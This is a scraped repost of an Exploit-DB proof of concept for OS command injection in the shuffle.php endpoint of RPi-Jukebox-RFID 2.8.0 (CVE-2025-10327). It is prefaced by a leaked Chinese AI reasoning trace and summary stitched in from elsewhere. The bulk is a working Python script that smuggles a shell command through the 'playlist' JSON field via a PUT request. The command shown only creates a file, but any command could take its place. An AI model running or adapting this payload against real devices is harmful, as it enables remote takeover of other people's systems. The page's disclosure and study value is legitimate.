[webapps] RPi-Jukebox-RFID 2.8.0 - Remote Command Execution
嗯,用户发来一个请求,让我帮忙总结一篇文章的内容,控制在100字以内,而且不需要特定的开头。看起来他可能是在做安全相关的研究或者学习,所以需要简洁明了的摘要。 首先,我需要仔细阅读用户提供的文章内容。文章标题是“RPi-Jukebox-RFID 2.8.0 - 远程代码执行”,日期是2025年9月25日,作者是Beatriz Fresno Naumova。软件链接指向GitHub上的一个项目,版本是2.8.0,测试环境是Raspberry Pi OS。CVE编号是CVE-2025-10327。 描述部分提到这是一个概念验证(PoC),展示了shuffle.php API端点中的操作系统命令注入漏洞。具体来说,“playlist”参数没有经过 sanitization就被传递到shell命令中,允许攻击者执行任意系统命令。代码部分展示了如何构造payload进行攻击。 接下来,我需要将这些信息浓缩到100字以内。重点包括漏洞名称、影响版本、漏洞类型、攻击方式以及可能的影响。要确保语言简洁明了,不使用复杂的术语,同时涵盖关键点。 可能会遇到的问题是如何在有限的字数内涵盖所有重要信息。例如,“playlist”参数和远程代码执行这两个点必须明确提到。同时,要说明漏洞允许攻击者执行任意命令,并可能影响系统安全。 最后,检查字数是否符合要求,并确保摘要准确传达文章的核心内容。 </think> RPi-Jukebox-RFID 2.8.0 存在远程代码执行漏洞,攻击者可通过 shuffle.php 端点注入恶意命令。该漏洞源于未对 "playlist" 参数进行过滤,导致系统命令被任意执行。 2026-1-17 00:0:0 Author: www.exploit-db.com(查看原文) 阅读量:2 收藏

# Exploit Title: RPi-Jukebox-RFID 2.8.0 - Remote Code Execution 
# Date: 2025-09-25
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://github.com/MiczFlor/RPi-Jukebox-RFID
# Software Link: https://github.com/MiczFlor/RPi-Jukebox-RFID/releases/tag/v2.8.0
# Version: 2.8.0
# Tested on: Raspberry Pi OS with RPi-Jukebox-RFID v2.8.0
# CVE: CVE-2025-10327
#
# Description:
# This PoC demonstrates an OS command injection vulnerability in the shuffle.php API endpoint.
# The vulnerable parameter "playlist" is passed directly to a shell command without sanitization,
# allowing an attacker to execute arbitrary system commands.

import requests
import json

# Replace this with the actual target IP or hostname
TARGET = "http://YOUR-TARGET-IP/phoniebox/api/playlist/shuffle.php"

# Payload to inject – here we create a file as proof of execution
INJECTED_COMMAND = "test';touch rced_by_xu17.txt;echo '"

# JSON payload for the request
payload = {
    "playlist": INJECTED_COMMAND,
    "shuffle": "true"
}

# HTTP headers
headers = {
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0"
}

def exploit():
    print("[+] Sending malicious JSON payload to trigger command injection...")
    try:
        response = requests.put(TARGET, headers=headers, data=json.dumps(payload), timeout=5)
        print(f"[+] HTTP Status Code: {response.status_code}")
        print("[*] If the target is vulnerable, the command should be executed on the server.")
    except Exception as e:
        print(f"[-] Exploit failed: {e}")

if __name__ == "__main__":
    exploit()
            

文章来源: https://www.exploit-db.com/exploits/52468
如有侵权请联系:admin#unsafe.sh